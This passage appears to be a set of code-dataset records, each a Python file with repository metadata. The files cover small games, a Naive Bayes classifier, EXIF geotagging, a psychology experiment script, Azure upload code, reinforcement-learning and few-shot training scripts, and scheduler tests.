SHOOTER_RADIUS\n self.center.x = SCREEN_WIDTH / 2\n self.center.y = 0 + SHOOTER_SIZE\n self.velocity.dx = 0\n self.velocity.dy = 0\n self.fire_rate = BULLET_FIRE_RATE\n self.lives = START_LIVES\n self.damage = 1\n\n def move_right(self):\n \"\"\"Move to the right\"\"\"\n if self.center.x < SCREEN_WIDTH - SHOOTER_SIZE / 2:\n self.velocity.dx = 1 * SHOOTER_SPEED\n else:\n self.center.x = SCREEN_WIDTH - SHOOTER_SIZE / 2\n\n def move_left(self):\n \"\"\"Move to the left\"\"\"\n if self.center.x > 0 + SHOOTER_SIZE / 2:\n self.velocity.dx = -1 * SHOOTER_SPEED\n else:\n self.center.x = 0 + SHOOTER_SIZE / 2\n\n def collide(self):\n \"\"\"Handle collisions\"\"\"\n self.lives -= 1\n if self.lives <= 0:\n \"\"\"Determine if shooter is alive\"\"\"\n self.alive = False\n\n def draw(self):\n \"\"\"Display the alive and dead shooter\"\"\"\n\n img = \"assets/alive_shooter.png\"\n texture = arcade.load_texture(img)\n img_hit = \"assets/dead_shooter.png\"\n texture2 = arcade.load_texture(img_hit)\n\n width = texture.width / 8\n height = texture.height / 8\n alpha = 255\n x = self.center.x\n y = self.center.y\n angle = self.angle + 90\n\n arcade.draw_text(f\"Power: {self.damage}\", SCREEN_WIDTH*.8,\n SCREEN_HEIGHT*.95, arcade.color.PURPLE_HEART, 20)\n\n arcade.draw_text(f\"Lives: {self.lives}\", 15,\n SCREEN_HEIGHT*.9, arcade.color.RED, 20)\n if self.alive:\n arcade.draw_texture_rectangle(\n x, y, width, height, texture, angle, alpha)\n\n else:\n arcade.draw_texture_rectangle(\n x + 10, y+5, 50, 50, texture2, angle, alpha)\n","sub_path":"street_shooter/game/shooter.py","file_name":"shooter.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"392132654","text":"# -*- coding: utf-8 -*-\nimport math\nimport sys\n\n# yahoo!形態素解析\nimport morphological\n\n\ndef getwords(doc):\n words = [s.lower() for s in morphological.split(doc)]\n return tuple(w for w in words)\n\n\nclass NaiveBayes:\n\n def __init__(self):\n self.vocabularies = set() # 単語の集合\n self.wordcount = {} # {category : { words : n, ...}}\n self.catcount = {} # {category : n}\n\n def wordcountup(self, word, cat):\n self.wordcount.setdefault(cat, {})\n self.wordcount[cat].setdefault(word, 0)\n self.wordcount[cat][word] += 1\n self.vocabularies.add(word)\n\n def catcountup(self, cat):\n self.catcount.setdefault(cat, 0)\n self.catcount[cat] += 1\n\n def train(self, doc, cat):\n word = getwords(doc)\n for w in word:\n self.wordcountup(w, cat)\n self.catcountup(cat)\n\n def classifier(self, doc):\n best = None # 最適なカテゴリ\n max = -sys.maxsize\n word = getwords(doc)\n\n # カテゴリ毎に確率の対数を求める\n for cat in list(self.catcount.keys()):\n prob = self.score(word, cat)\n if prob > max:\n max = prob\n best = cat\n\n return best\n\n def score(self, word, cat):\n score = math.log(self.priorprob(cat))\n for w in word:\n score += math.log(self.wordprob(w, cat))\n return score\n\n def priorprob(self, cat):\n return float(self.catcount[cat]) / sum(self.catcount.values())\n\n def incategory(self, word, cat):\n # あるカテゴリの中に単語が登場した回数を返す\n if word in self.wordcount[cat]:\n return float(self.wordcount[cat][word])\n return 0.0\n\n def wordprob(self, word, cat):\n # P(word|cat)が生起する確率を求める\n prob = \\\n (self.incategory(word, cat) + 1.0) / \\\n (sum(self.wordcount[cat].values()) +\n len(self.vocabularies) * 1.0)\n return prob\n","sub_path":"naivebayes.py","file_name":"naivebayes.py","file_ext":"py","file_size_in_byte":2035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"66660646","text":"import pygame\r\nimport time\r\nimport random\r\nimport BoyoRPG\r\n\r\n#pygame.init()\r\n\r\n\r\nclass Player(object):\r\n def __init__(self, x, y, image, health=None):\r\n self.x = x\r\n self.y = y\r\n self.health = health\r\n self.image = image\r\n self.rotate = False\r\n \r\n def displayCharacter(self, xN):\r\n image2 = pygame.transform.flip(self.image, 1, 0)\r\n if xN < 0: \r\n self.rotate = True\r\n elif xN > 0:\r\n self.rotate = False\r\n if self.rotate:\r\n BoyoRPG.gameDisplay.blit(image2, (self.x,self.y))\r\n else:\r\n BoyoRPG.gameDisplay.blit(self.image, (self.x,self.y))\r\n\r\n def move(self, xN, yN):\r\n self.x += xN\r\n self.y += yN\r\n if self.x > BoyoRPG.display_width-9:\r\n self.x = self.x - 5\r\n if self.x < 0:\r\n self.x = 0\r\n if self.y > BoyoRPG.display_height - 10:\r\n self.y = self.y - 5\r\n if self.y < 0:\r\n self.y = 0\r\n\r\n \r\n \r\n#class Mob(object):\r\n# def __init__(self, x, y, image, health=None, scale1=None):\r\n# def displayMob(self, xN):\r\n# def moveMob(self, xN, yN):\r\n\r\n\r\nclass World(object):\r\n def __init__(self, x, y, image, button=None):\r\n self.x = x\r\n self.y = y\r\n self.image = image\r\n self.button = button\r\n \r\n def displayWorld(self):\r\n BoyoRPG.gameDisplay.blit(self.image, (self.x,self.y))\r\n \r\n def makeWorld(self, x1):\r\n self.displayWorld()\r\n #print(x1)\r\n \r\n def button(self, x, y, w, h, px, py, action, *args):\r\n mouse = BoyoRPG.pygame.mouse.get_pos()\r\n click = BoyoRPG.pygame.mouse.get_pressed()\r\n #global enter\r\n \r\n if x + w > px > x and y + h > py > y:\r\n print('almost') \r\n if click[0] == 1 and action != None:\r\n print('yea')\r\n #enter = not enter\r\n action(*args) #runs object as function\r\n else:\r\n print('no')\r\n\r\n","sub_path":"BoyoRPG 001/PlayerTest.py","file_name":"PlayerTest.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"185297803","text":"from pexif import JpegFile\r\nimport sys\r\nimport exifread\r\nimport os\r\nimport glob\r\n\r\ndef get_folder_name(directory):\r\n\treturn os.listdir(directory)\r\n\r\ndef set_gps(filename,lat,lon):\r\n\ttry:\r\n\t ef = JpegFile.fromFile(filename)\r\n\t ef.set_geo(float(lat), float(lon))\r\n\texcept IOError:\r\n\t type, value, traceback = sys.exc_info()\r\n\t print >> sys.stderr, \"Error opening file:\", value\r\n\texcept JpegFile.InvalidFile:\r\n\t type, value, traceback = sys.exc_info()\r\n\t print >> sys.stderr, \"Error opening file:\", value\r\n\r\n\ttry:\r\n\t ef.writeFile(filename)\r\n\texcept IOError:\r\n\t type, value, traceback = sys.exc_info()\r\n\t print >> sys.stderr, \"Error saving file:\", value\r\n\r\ndef get_exif_location(exif_data):\r\n lat = None\r\n lon = None\r\n\r\n gps_latitude = _get_if_exist(exif_data, 'GPS GPSLatitude')\r\n gps_latitude_ref = _get_if_exist(exif_data, 'GPS GPSLatitudeRef')\r\n gps_longitude = _get_if_exist(exif_data, 'GPS GPSLongitude')\r\n gps_longitude_ref = _get_if_exist(exif_data, 'GPS GPSLongitudeRef')\r\n\r\n if gps_latitude and gps_latitude_ref and gps_longitude and gps_longitude_ref:\r\n lat = _convert_to_degress(gps_latitude)\r\n if gps_latitude_ref.values[0] != 'N':\r\n lat = 0 - lat\r\n\r\n lon = _convert_to_degress(gps_longitude)\r\n if gps_longitude_ref.values[0] != 'E':\r\n lon = 0 - lon\r\n\r\n return lat, lon\r\n\r\ndef _get_if_exist(data, key):\r\n if key in data:\r\n return data[key]\r\n\r\n return None\r\n\r\ndef _convert_to_degress(value):\r\n d = float(value.values[0].num) / float(value.values[0].den)\r\n m = float(value.values[1].num) / float(value.values[1].den)\r\n s = float(value.values[2].num) / float(value.values[2].den)\r\n\r\n return d + (m / 60.0) + (s / 3600.0)\r\n\r\ndef open_img(filename,dir):\r\n\t#dir_coordinates = 'E:\\\\Photos\\\\coordinates.csv'\r\n\tdir_coordinates = sys.argv[2]\r\n\r\n\tfile_coordinates = open(dir_coordinates)\r\n\tfor i,line in enumerate(file_coordinates):\r\n\t\tid,lonVal,latVal,dis,blk,vil = line.strip().split(',')\r\n\t\t\r\n\t\tif len(id) <= 2:\r\n\t\t\tid = '0'+id\r\n\r\n\t\tif (id == dir):\r\n\t\t\tf = open(filename)\r\n\t\t\t#tags = exifread.process_file(f)\r\n\r\n\t\t\t#lat,lon = get_exif_location(tags)\t\r\n\t\t\t#if lat == None and lon == None:\r\n\t\t\tprint (filename+' new lat = '+str(latVal)+', lon = '+str(lonVal))\r\n\t\t\tset_gps(filename,latVal,lonVal)\r\n\t\t\t#else:\r\n\t\t\t#\tprint (filename+' skipped')\r\n\r\nif __name__ == '__main__':\r\n\t#root = 'E:\\\\Photos\\\\Balasore\\\\'\r\n\troot = sys.argv[1]+'\\\\'\r\n\tlist_dir = []\t\r\n\tlist_dir = get_folder_name(root)\t\r\n\r\n\tfor i,dir in enumerate(list_dir):\r\n\t\tfolder = root+list_dir[i]\r\n\t\t#print (list_dir[i])\r\n\t\tfor file in os.listdir(folder):\r\n\t\t\tif file.endswith(\".jpg\"):\r\n\t\t\t\timg_file = os.path.join(root,folder,file)\r\n\t\t\t\t#print (dir+'\\\\'+file)\r\n\t\t\t\topen_img(img_file,dir)\r\n","sub_path":"extractPexif.py","file_name":"extractPexif.py","file_ext":"py","file_size_in_byte":2771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"232765355","text":"from psychopy import visual, core, event # import some libraries from PsychoPy\nimport random\nimport csv\n\n\n# converts word bank into list of individual words\nwith open('wordBank.txt') as f:\n wordCue = [word for line in f for word in line.split()]\n\n\n# Create all basic objects (window, fixation-cross, timer)\ntimer = core.Clock()\nmywin = visual.Window([800,600], monitor=\"testMonitor\", units=\"deg\")\nfixCross = visual.TextStim(mywin, text = '+', height = 0.1)\n\n# Key list variables that participants will use to indicate whether word is related to self or not\n# right = self, left = other, q = quit game; the key left and right refer to arrows keys\nkeyL = [\"right\", \"left\", \"q\"]\n\n# Other global variables\ntrial = 0\n\n\ndef startExperiment():\n instructions = ['This is a test', \n 'you will now see a series of words',\n 'press `->` for self and `<-` for other',\n 'press any key to continue']\n pos = [[-9,8],[-4,6],[-4,4],[-6,2]]\n for i in range(len(instructions)):\n visual.TextStim(win=mywin, text=instructions[i], pos=pos[i], wrapWidth=500).draw()\n mywin.flip()\n thisResp=None\n while thisResp==None:\n allKeys=event.waitKeys()\n if len(allKeys) > 0:\n thisResp = allKeys[0]\n sessions = [[\"Self\",\"Other\"]*3,[\"Joy\", \"Vomit\"]*3,[\"Self\", \"Joy\", \"Other\", \"Vomit\"]*3]\n sessions.append(sessions[1])\n sessions.append(sessions[2])\n for i,current in enumerate(sessions):\n random.shuffle(current)\n practice(i+1,current)\n visual.TextStim(win=mywin, text='End Of Experiment', pos=[0,0], wrapWidth=500).draw()\n mywin.flip()\n core.wait(5.0)\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"624976055","text":"import multiprocessing as mp\n\nimport sys\n\nfrom Csv2ir import Csv2ir\n\n# Test that has to be ran if this script needs to be executed on Windows. Without this check and without \n# mp.freeze_support() following right after this check, Windows will not be able to properly run multicore\n# Python functionality\n# This check evaluates to True when you are running this file as python make_imgs.py\nif __name__ == \"__main__\":\n mp.freeze_support()\n\n # Default folder names\n input_dir_name = 'csv'\n output_dir_name = 'ir'\n\n # Check if CLI parameters are present\n if len(sys.argv) == 3:\n input_dir_name = sys.argv[1]\n output_dir_name = sys.argv[2]\n\n Csv2ir.create_images(input_dir_name, output_dir_name)","sub_path":"make_imgs.py","file_name":"make_imgs.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"150482800","text":"from azure.storage.blob import BlobServiceClient\nimport os\nfrom flask import Flask\nimport zipfile\nimport asyncio\nfrom azure.eventhub.aio import EventHubProducerClient\nfrom azure.eventhub import EventData\n\napp = Flask(__name__)\n\nconnect_str = \"...\"\nblob_service_client = BlobServiceClient.from_connection_string(connect_str)\nos.mkdir(\"./data2\")\nos.mkdir(\"./data2/images\")\nblob_client = blob_service_client.get_blob_client(container='images', blob='images_zipped.zip')\n\nwith open('./data2/images_zipped.zip', \"wb\") as download_file:\n download_file.write(blob_client.download_blob().readall())\n\nwith zipfile.ZipFile('./data2/images_zipped.zip', 'r') as zip_ref:\n zip_ref.extractall('./data2/images/')\n\nloop = asyncio.get_event_loop()\n\n@app.route(\"/doit\")\ndef hello():\n async def run():\n # create a producer client to send messages to the event hub\n # specify connection string to your event hubs namespace and\n # the event hub name\n producer = EventHubProducerClient.from_connection_string(conn_str=\"...\")\n async with producer:\n # create a batch\n event_data_batch = await producer.create_batch()\n\n for i in os.listdir('./data2/images/'):\n blob_client = blob_service_client.get_blob_client(container='images', blob=i)\n upload_file_path = './data2/images/'+i\n\n # Upload the created file to storage\n with open(upload_file_path, \"rb\") as data:\n blob_client.upload_blob(data)\n\n # add events to the batch\n event_data_batch.add(EventData(i))\n\n # send the batch of events to the event hub\n await producer.send_batch(event_data_batch) \n \n\n loop.run_until_complete(run())\n\n return \"unzipped and sent to blob and hub\"","sub_path":"project/webapp/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"558779520","text":"\"\"\"\nThis script is used to sample yellow and white lane marker colors from images\ngiven their overall appearance.\n\"\"\"\n\nimport csv\nimport os\nfrom typing import List\n\nimport cv2\nimport numpy as np\nfrom notebooks.scripts.histogram import histogram_vec\n\nfrom pipeline import CameraCalibration, BirdsEyeView, ImageSection, Point\n\nRETURN = 13\nSPACE = 32\nBACKSPACE = 8\n\nNBINS = 16\n\n# PATH = 'harder_challenge_video.mp4'\nPATH = 'challenge_video.mp4'\n\n\nclass Frame:\n def __init__(self, path: str, frame: int):\n self._path = path\n self._frame = frame\n self._white = []\n self._yellow = []\n self._dirty = False\n self._hist = None\n\n def set_histogram(self, histogram: np.ndarray):\n self._hist = histogram\n\n def add_white(self, value: np.ndarray):\n self._white.append(value)\n self._dirty = True\n\n def add_yellow(self, value: np.ndarray):\n self._yellow.append(value)\n self._dirty = True\n\n @property\n def hist(self):\n return self._hist\n\n @property\n def white(self):\n return self._white\n\n @property\n def yellow(self):\n return self._yellow\n\n @property\n def changed(self):\n return self._dirty\n\n\ndef onMouse(event, x, y, flags, params):\n img = params['yuv']\n frame = params['frame']\n h, w = img.shape[:2]\n value = img[y, x]\n\n is_shift = (flags & cv2.EVENT_FLAG_SHIFTKEY) > 0\n sample_white = not is_shift\n\n if event == 0 or event == 4:\n return\n if event == 1:\n if sample_white:\n print('Adding white sample: {}'.format(value))\n frame.add_white(value)\n else:\n print('Adding yellow sample: {}'.format(value))\n frame.add_yellow(value)\n else:\n print('Unhandled mouse event: {}, {}'.format(event, flags))\n\n\ndef main():\n basename = os.path.splitext(os.path.basename(PATH))[0]\n\n cc = CameraCalibration.from_pickle('calibration.pkl')\n\n section = ImageSection(\n top_left=Point(x=580, y=461.75),\n top_right=Point(x=702, y=461.75),\n bottom_right=Point(x=1013, y=660),\n bottom_left=Point(x=290, y=660),\n )\n\n bev = BirdsEyeView(section,\n section_width=3.6576, # one lane width in meters\n section_height=2 * 13.8826) # two dash distances in meters\n\n cap = cv2.VideoCapture(PATH)\n length = cap.get(cv2.CAP_PROP_FRAME_COUNT)\n current_pos, last_pos = 0, None\n\n frame = None\n frames = [] # type: List[Frame]\n\n window = 'Video'\n cv2.namedWindow(window, cv2.WINDOW_KEEPRATIO)\n while True:\n current_pos = min(length, max(0, current_pos))\n cap.set(cv2.CAP_PROP_POS_FRAMES, current_pos)\n ret, img = cap.retrieve()\n if not ret:\n print('End of video.')\n break\n\n img, _ = cc.undistort(img, False)\n img = bev.warp(img)\n\n # Stretch for better sampling\n img = cv2.resize(img, (0, 0), fx=3, fy=1)\n\n current_pos = cap.get(cv2.CAP_PROP_POS_FRAMES)\n if last_pos != current_pos:\n if frame is not None and frame.changed:\n frames.append(frame)\n\n print('Video progress: {}/{} ({:.2f}%)'.format(current_pos, length, 100*current_pos/length))\n # Prepare the frame\n frame = Frame(PATH, current_pos)\n last_pos = current_pos\n\n # Take YUV histogram\n yuv = cv2.cvtColor(img, cv2.COLOR_BGR2YUV)\n histogram = histogram_vec(yuv, NBINS) / np.prod(yuv.shape[:2])\n assert frame is not None\n frame.set_histogram(histogram)\n\n # Hook up the window callback\n params = dict(bgr=img, yuv=yuv, frame=frame)\n cv2.setMouseCallback(window, onMouse, params)\n\n cv2.imshow(window, img)\n key = cv2.waitKey()\n if key == 27:\n break\n if key == SPACE:\n current_pos += 1\n elif key == BACKSPACE:\n current_pos -= 1\n elif key == RETURN:\n current_pos += 60\n\n cap.release()\n\n # Dangling frames are considered as well\n if frame is not None and frame.changed and ((len(frames) > 0 and frames[-1] != frame) or len(frames) == 0):\n frames.append(frame)\n\n if len(frames) == 0:\n return\n\n # Store the frames\n with open('lane-samples-{}.csv'.format(basename), 'w') as f:\n hist_fields = ['h{}'.format(i) for i in range(0, 3 * NBINS)]\n fieldnames = ['id', 'white', 'y', 'u', 'v', 'y_mean', 'u_mean', 'v_mean', 'y_std', 'u_std', 'v_std', *hist_fields]\n writer = csv.writer(f, fieldnames)\n writer.writerow(fieldnames)\n i = 0\n for frame in frames:\n if len(frame.white) > 0:\n white_mean = np.mean(frame.white, axis=0)\n white_std = np.std(frame.white, axis=0)\n for sample in frame.white:\n values = [i, 1, sample[0], sample[1], sample[2], *white_mean, *white_std, *frame.hist]\n writer.writerow(values)\n i += 1\n\n if len(frame.yellow) > 0:\n yellow_mean = np.mean(frame.yellow, axis=0)\n yellow_std = np.std(frame.yellow, axis=0)\n for sample in frame.white:\n values = [i, 0, sample[0], sample[1], sample[2], *yellow_mean, *yellow_std, *frame.hist]\n writer.writerow(values)\n i += 1\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"sample_colors.py","file_name":"sample_colors.py","file_ext":"py","file_size_in_byte":5462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"295617131","text":"from pathlib import Path\nfrom argparse import ArgumentParser\n\nimport h5py\nimport numpy as np\n\nparser = ArgumentParser()\nparser.add_argument('data_path', type=str, help='Path to HDF5 dataset')\nargs = parser.parse_args()\n\npath = Path(args.data_path)\n\nwith h5py.File(path) as f:\n phases = f['Phase'][:]\n exp_counts = f['ExpCounts'][:]\n\nwith h5py.File(path.with_stem(f'{path.stem}-corrected'), 'w') as f:\n phases[:, 1::2] += np.pi\n f.create_dataset('/Phase', data=phases)\n f.create_dataset('/ExpCounts', data=exp_counts)\n","sub_path":"code/scripts/recalib.py","file_name":"recalib.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"105545735","text":"import unittest\n\nfrom trainer.utils.scheduler import constant_lr_schedule, linear_lr_schedule\n\n\nclass TestLRSchedule(unittest.TestCase):\n def test_raise_bad_args(self):\n with self.assertRaises(ValueError):\n constant_lr_schedule(2e-5, init_lr=None, warmup=True, warmup_steps=500)\n linear_lr_schedule(2e-5, init_lr=None, warmup=True, warmup_steps=500)\n with self.assertRaises(ValueError):\n constant_lr_schedule(2e-5, init_lr=0, warmup=True, warmup_steps=None)\n linear_lr_schedule(2e-5, init_lr=0, warmup=True, warmup_steps=None)\n\n def test_constant_schedule_no_warmup(self):\n schedule = constant_lr_schedule(lr=2e-5, init_lr=None, warmup_steps=None, warmup=False)\n lrs = [schedule(i) for i in range(10000)]\n\n self.assertTrue(all(lr == lrs[0] for lr in lrs))\n\n def test_constant_schedule_with_warmup(self):\n schedule = constant_lr_schedule(lr=2e-5, init_lr=0, warmup_steps=500, warmup=True)\n lrs = [schedule(i) for i in range(1000)]\n\n self.assertTrue(all(lrs[i] < 2e-5 and lrs[i] >= 0 for i in range(500)))\n self.assertTrue(all(lrs[i] == 2e-5 for i in range(500, 1000)))\n\n def test_linear_schedule_no_warmup(self):\n num_steps = 1000\n\n schedule = linear_lr_schedule(lr=1e-3, end_lr=1e-5, num_train_steps=num_steps)\n\n lrs = [schedule(i) for i in range(num_steps)]\n\n self.assertTrue(all(lrs[i] <= 1e-3 and lrs[i] >= 1e-5 for i in range(num_steps)))\n\n def test_linear_schedule_with_warmup(self):\n num_steps = 1000\n decay_steps = 500\n\n schedule = linear_lr_schedule(\n lr=1e-3,\n end_lr=1e-5,\n num_train_steps=num_steps,\n warmup_steps=500,\n init_lr=0,\n warmup=True,\n )\n\n lrs = [schedule(i) for i in range(num_steps)]\n\n self.assertTrue(all(lrs[i] >= 0 and lrs[i] <= 1e-3 for i in range(decay_steps)))\n self.assertTrue(\n all(lrs[i] <= 1e-3 and lrs[i] >= 1e-5 for i in range(decay_steps, num_steps))\n )\n","sub_path":"tests/test_lr.py","file_name":"test_lr.py","file_ext":"py","file_size_in_byte":2073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"256691216","text":"from collections import deque\n\nname = {\n\n \"Roman\": [\"Lily\", \"Sophy\"],\n\n \"Lily\": [\"Amy\", \"Bob\"],\n\n \"Bob\": [\"Darel\", \"Dima\", \"Sasha\"]\n\n}\ndef doter(x):\n\n return not len(x) % 2 and x[0] == \"D\"\n\na = deque(name[\"Pavel\"])\n\nb = []\n\nwhile name:\n\n person = a.popleft()\n\n if person not in b:\n\n if doter(person):\n\n print(person)\n\n break\n\n else:\n\n a += name.get(person, [])\n\n b.append(person)\n","sub_path":"dz5/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"332857480","text":"import numpy as np\nimport gridWorld\nimport helper\n\n\nclass MonteCarlo():\n def __init__(self, dimensions=(4, 5)):\n self.gw = gridWorld.Grid()\n self.dimensions = dimensions\n self.gw.init_sample_grid_world(dimensions)\n self.q = np.zeros(shape=(dimensions[0], dimensions[1], 4))\n self.returns = np.zeros(shape=(dimensions[0], dimensions[1], 4, 2))\n self.policy = np.zeros(shape=(dimensions[0], dimensions[1], 4))\n self.policy[:, :, :] = 0.25\n self.eps = 0.4\n\n def learn(self):\n s_k = (0, 0)\n # (a)\n occurrences = []\n while True:\n policy = self.get_behaviour_policy(s_k)\n a_k = self.gw.actions[policy]\n s_kk = self.gw.get_next_state(s_k, a_k)\n occurrences.append([s_k, policy, self.gw.get_reward(s_k, a_k, s_kk)])\n if self.gw.is_terminal_state(s_k):\n break\n s_k = s_kk\n\n # (b)\n computed_state_actions = []\n for i in range(len(occurrences)):\n if (occurrences[i][0], occurrences[i][1]) in computed_state_actions:\n continue\n for j in np.arange(i, len(occurrences)):\n self.returns[occurrences[i][0][0], occurrences[i][0][1], occurrences[i][1], 0] += occurrences[j][2]\n\n self.returns[occurrences[i][0][0], occurrences[i][0][1], occurrences[i][1], 1] += 1\n total_R = self.returns[occurrences[i][0][0], occurrences[i][0][1], occurrences[i][1], 0]\n number_of_Rs = self.returns[occurrences[i][0][0], occurrences[i][0][1], occurrences[i][1], 1]\n self.q[occurrences[i][0][0], occurrences[i][0][1], occurrences[i][1]] = total_R / float(number_of_Rs)\n computed_state_actions.append((occurrences[i][0], occurrences[i][1]))\n\n # (c)\n computed_states = []\n for occurrence in occurrences:\n state = occurrence[0]\n if state in computed_states:\n continue\n opt_action = np.argmax(self.q[state[0], state[1], :])\n for action_number in range(4):\n if action_number == opt_action:\n self.policy[state[0], state[1], action_number] = 1 - self.eps + self.eps/4\n else:\n self.policy[state[0], state[1], action_number] = self.eps/4\n computed_states.append(state)\n\n def get_policy(self, state):\n argmax_a = np.argmax(self.q[state[0], state[1], :])\n return self.gw.actions[argmax_a]\n\n def get_behaviour_policy(self, state):\n weights = []\n for action_number in range(4):\n weights.append(self.policy[state[0], state[1], action_number])\n return helper.weighted_choice(weights)\n\n @staticmethod\n def is_online():\n return True\n\n\nif __name__ == \"__main__\":\n mc = MonteCarlo()\n for it in range(5000):\n mc.learn()\n for row in range(4):\n for col in range(5):\n print(row, col, mc.gw.actions[np.argmax(mc.q[row, col, :])])","sub_path":"monteCarlo.py","file_name":"monteCarlo.py","file_ext":"py","file_size_in_byte":3025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"15426096","text":"import pytest\nimport tensorflow as tf\n\nfrom hungry_geese.utils import (\n random_legal_action, get_timestamp,\n log_to_tensorboard, log_configuration_to_tensorboard)\n\n@pytest.mark.parametrize('previous_action, ilegal_next_action', [\n ('NORTH', 'SOUTH'),\n ('SOUTH', 'NORTH'),\n ('EAST', 'WEST'),\n ('WEST', 'EAST'),\n])\ndef test_random_legal_action(previous_action, ilegal_next_action):\n assert ilegal_next_action not in [random_legal_action(previous_action) for _ in range(10)]\n\ndef test_get_timestamp_is_callable():\n get_timestamp()\n\ndef test_log_to_tensorboard(tmpdir):\n tensorboard_writer = tf.summary.create_file_writer(str(tmpdir))\n log_to_tensorboard('key', 0, 0, tensorboard_writer)\n\ndef test_log_configuration_to_tensorboard(tmpdir):\n tensorboard_writer = tf.summary.create_file_writer(str(tmpdir))\n log_configuration_to_tensorboard(dict(key=0), tensorboard_writer)\n","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"342868642","text":"import sys\nimport os.path as o\nimport os\nsys.path.append(o.abspath(o.join(o.dirname(sys.modules[__name__].__file__), \"..\")))\n# os.chdir('../')\n\n# from oracles.mm1queue import MM1Queue\nfrom data_farming_base import DesignPoint, DataFarmingExperiment, DataFarmingMetaExperiment\nfrom csv import DictReader\n\n\n# factor_headers = [\"purchase_price\", \"sales_price\", \"salvage_price\", \"order_quantity\"]\n# myexperiment = DataFarmingExperiment(oracle_name=\"CNTNEWS\", factor_settings_filename=\"oracle_factor_settings\", factor_headers=factor_headers, design_filename=None, oracle_fixed_factors={})\n# myexperiment.run(n_reps=10, crn_across_design_pts=False)\n# myexperiment.print_to_csv(csv_filename=\"cntnews_data_farming_output\")\n\nsolver_factor_headers = [\"sample_size\"]\nmyMetaExperiment = DataFarmingMetaExperiment(solver_name=\"RNDSRCH\",\n problem_name=\"FACSIZE-2\",\n solver_factor_headers=solver_factor_headers,\n solver_factor_settings_filename=\"\", # solver_factor_settings\",\n design_filename=\"random_search_design\",\n solver_fixed_factors={},\n problem_fixed_factors={},\n oracle_fixed_factors={})\nmyMetaExperiment.run(n_macroreps=20)\nmyMetaExperiment.post_replicate(n_postreps=100, n_postreps_init_opt=100, crn_across_budget=True, crn_across_macroreps=False)\n# myMetaExperiment.calculate_statistics() # solve_tols=[0.10], beta=0.50)\n# myMetaExperiment.print_to_csv(csv_filename=\"meta_raw_results\")\n\nprint(\"I ran this.\")\n\n\n# SCRATCH\n# --------------------------------\n# from csv import DictReader\n# # open file in read mode\n# with open('example_design_matrix.csv', 'r') as read_obj:\n# # pass the file object to DictReader() to get the DictReader object\n# csv_dict_reader = DictReader(read_obj)\n# # iterate over each line as a ordered dictionary\n# for row in csv_dict_reader:\n# # row variable is a dictionary that represents a row in csv\n# print(row)","sub_path":"simopt/demo/demo_df_wrapper.py","file_name":"demo_df_wrapper.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"136432704","text":"import torch\nimport torch.nn as nn\nimport torchvision\nimport torchvision.transforms as transforms\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\n\nfrom func_omniglot import VAE, Loss, data_folders,get_data_loader, create_task\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nimport os\nimport numpy as np\nimport random\n\ndef count_acc(logits,labels):\n pred = torch.argmax(logits, dim=1)\n return (pred == labels).type(torch.FloatTensor).mean().item()\n\nnum_epochs = 1000\nlearning_rate = 0.001\ncnt = 0\nn_batch_train = 100 #(way+15)*shot\nn_batch_val = 400 #(way+15)*shot 20 or 100\n\nn_train_way = 20\nn_val_way = 5\n\nn_train_shot = 1\nn_val_shot = 1\n# MNIST dataset\n#train_dataset = torchvision.datasets.MNIST(root='../../sharedLocal/',train=True,transform=transforms.ToTensor(),download=True)\n#val_dataset = torchvision.datasets.MNIST(root='../../sharedLocal/',train=False,transform=transforms.ToTensor())\n\ntrain_folders,test_folders = data_folders(data_folder = '../../sharedLocal/traffic')\n\npn_loss_list = []\npn_acc_list = []\nval_loss_list = []\nval_acc_list = []\n\ntorch.cuda.set_device(3)\nmodel = VAE().cuda()\ncrit = Loss()\noptimizer = torch.optim.Adam(model.parameters(), lr=0.001)\n\nprint('training....')\nfor epoch in range(num_epochs):\n model.train()\n if epoch%10 == 0:\n print(\"epoch {}...\".format(epoch))\n task = create_task(train_folders,n_train_way,n_train_shot,15)\n degrees = random.choice([0])\n support_dataloader = get_data_loader(task,'../../sharedLocal/traffic',num_per_class=n_train_shot,split=\"train\",shuffle=False,rotation=degrees)\n query_dataloader = get_data_loader(task,'../../sharedLocal/traffic',num_per_class=15,split=\"test\",shuffle=False,rotation=degrees)\n\n support,support_labels = support_dataloader.__iter__().next()\n query,query_labels = query_dataloader.__iter__().next()\n total_loss = 0\n total_acc = 0\n\n x_support,x_support_labels = support.cuda(), support_labels.cuda()\n x_query,x_query_labels = query.cuda(), query_labels.cuda()\n\n change_support = []\n for j in range(n_train_shot):\n change_support += [i for i in 